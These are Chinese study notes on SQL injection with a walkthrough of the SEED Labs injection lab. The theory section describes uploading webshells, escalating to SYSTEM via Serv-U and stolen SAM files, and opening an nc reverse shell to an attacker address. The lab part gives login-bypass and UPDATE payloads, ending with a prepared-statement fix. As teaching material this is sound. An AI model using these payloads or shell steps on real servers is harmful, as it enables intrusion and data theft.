网络攻防-Web应用安全2-SQL注入,涉及实验:SEED Labs – SQL Injection Attack Lab,代码见:https://github.com/Seanxz401/seed-labs
理论
SQL注入就是向网站提交精心构造的SQL查询语句,导致网站将关键数 据信息返回
原理:在正式运行SQL语句之前没有进行必要的字符过滤,导致字符串拼接为带有攻击性的SQL语句
SQL存储过程
- 系统存储过程::以sp_开头,进行系统的各项设定
- 扩展存储过程:以xp_开头,用来调用操作系统提供的功能,如xp_cmdshell直接使用操作系统的shell
- 用户自定义的存储过程
SQL攻击类型
- 字符型,注入点是字符串,需要引号闭合
- 数值型,注入点为数字,如整型
- 基于错误信息。报错信息中可能包含的有用信息:绝对路径、文件名、数据库类型
- 盲注:在没有信息提示的情况实现SQL注入,如布尔盲注、时间盲注
注入步骤(以asp为例)
注入点的发现,单引号或以下方法(如果2和3的结果相同表示不可注入)
1
2
31.http://example.com/index.asp?id=1 # 正常
2.http://example.com/index.asp?id=1 and 1=1 # 正常
3.http://example.com/index.asp?id=1 and 1=2 # 提示BOF或EOF或找不到记录或显示为空数据库的发现:通过错误信息可能得到数据库类型,构造一定的语句获取数据库名
猜解表名
猜解字段名
猜解内容
进入管理页面,上传后门文件,以通过数据库备份绕过后缀检测为例:
- 向数据库中插入一句话木马
- 备份数据库为对应木马文件的后缀(.asp)
- 用客户端连接对应路径
提权。将webshell提升到system权限,以windows为例:(提权要看具体的服务器环境)
- pcanywhere:远程控制软件,如果服务器上装了这个软件,破解其cif文件可以直接使用pcanywhere完全控制服务器
- servu:ftp服务器,需要servu安装目录可写。
- 通过webshell访 问servu安装文件夹下的ServUDaemon.ini把他下载下来
- 攻击方安装一个servu把ServUDaemon.ini放到本地安装文件夹下 覆盖
- 攻击方启动servu添加一个用户,设置为系统管理员,目录C:\,具有可 执行权限然后去servu安装目录里把ServUDaemon.ini更换到服务器上。
- SAM:下载服务器
C:\winnt\system32\config
下的sam文件,得到后在 本地进行破解,得到服务器的管理员的用户名和密码。 - 脚本提权,vbs脚本
- nc反向连接:如果某个目录有写权限,先上传个nc上去
- 服务器:
nc -e cmd.exe yourip port
- 攻击方:
nc -l -p port
- 服务器:
危害
- 读取、修改或者删除数据库内的数据,获取数据库中的用户名和密码等敏 感信息
- 获得数据库管理员的权限
- 如果能够再利用SQL Server扩展存储过程和自定义扩展存储过程来执行一 些系统命令,攻击者还可以获得该系统的控制权
- SQL注入的隐蔽性:SQL注入是从正常的WWW端口访问,防火墙一般不报警,很难发现
暴库
通过一些技术手段或者程序漏洞得到数据库的地址,并将数据非法 下载到本地
原因:网站制作者偷懒+IE与ASP程序对特殊字符\
解析不同。
ps.前置知识:相对路径、绝对路径、IIS中间件与ASP程序的关系、URL编码
%5c暴库(针对access数据库):数据库暴库入侵攻击漏洞 - 简书 (jianshu.com)
- url: http://www.xxx.com/asp%5cconn.asp (conn.asp 数据库链接文件)
- %5c是
\
的URL编码方式,在IE地址栏中,\
会被解析为/
,因此会指向正确的asp/conn.asp
- conn.asp中一般会有引用数据库的语句
Data Source=server.MapPth("xxxxx.mdb")
“server.mappath”方法获取数据库文件的路径时,读取的路径为“Web根目录(假设为D:\web
)+指定文件的相对路径(相对于调用文件,asp/xxx.mdb)”。即D:\web\asp\xxx.mdb
,由于解析的问题,xxx.mdb的相对路径由asp/xxx.mdb
变为asp\xxx.mdb
- 当IIS获取某个目录时,如果碰到“\”符号,则将“\”符号之后的路径作为物理的绝对路径,而忽略“\”符号之前的路径信息。因此相对路径
asp\xxx.mdb
中的asp会被忽略,server.mappath后得到的路径为D:\web\xxx.mdb
- 这个路径不存在,数据库连接失败,IIS报错并返回出错的信息,根据报错信息可以推出数据库文件的路径,然后下载数据库
注意事件:
- IE设置要将“显示友好的HTTP错误信息”关闭
- 针对ACCESS数据库的方法
- 最好是多级目录,成功率高一点
SQL注入防范
- 特殊字符转义
- 输入验证和过滤
- 参数化方法
实验
环境准备
hosts文件添加:10.9.0.5 www.seed-server.com
docker:
docker-compose build
docker-compose up
Task1
docker ps -a
查看正在运行的容器,找到mysql容器的ID;docker exec -it ID sh
进入容器的shell;mysql -u root -pdees
登录进入mysql交互界面;show databases;
查看数据库;use sqllab_users;
选择进入已创建的数据库;show tables;
查看表;select * from credential where Name='Alice';
打印Alice的所有信息
Task2
2.1 登录输入框注入
在知道用户名admin的条件下,在username输入框中输入**admin’– **,password为空,登录成功。
在后台收到的查询语句为select...from...where name='admin'-- ' and Password=''
,由于单引号已闭合,--空格
在sql语句中表示注释,因此只根据name字段查询得到结果。
2.2 命令行注入
使用命令行进行注入,curl 'http://www.seed-server.com/unsafe_home.php?username=admin%27--%20&Password='
- %27是单引号的url编码
- %20是空格的url编码
2.3 堆叠注入
执行两条sql语句admin';update credential set Salary=30000 where Name='Alice'--空格
,执行失败,因为PHP后端的查询语句是query
。
要服务器在访问数据端时使用的是可同时执行多条sql语句的方法,比如php中mysqli_multi_query()
函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()
函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数。
Task3
3.1 修改自己的工资
Alice登录参考Task2.1:username=Alice’–空格
编辑个人资料是,拼接salary字段
3.2 修改别人的工资
在输入框中拼接salary和where字段:hack',salary=1 where name='Boby'--空格
,登录admin查看Boby的工资已经改变。
3.3 修改别人的密码
在网站上获取想要的密码的sha1加密值,在编辑资料的地方拼接password和where字段:hack',password='加密后的密码值' where name='Boby'--空格
,以新密码登录Boby:
Task4
修改image_www/Code/defense/unsafe.php,将一般的拼接查询改为预处理:
再次通过登录框攻击,无返回结果: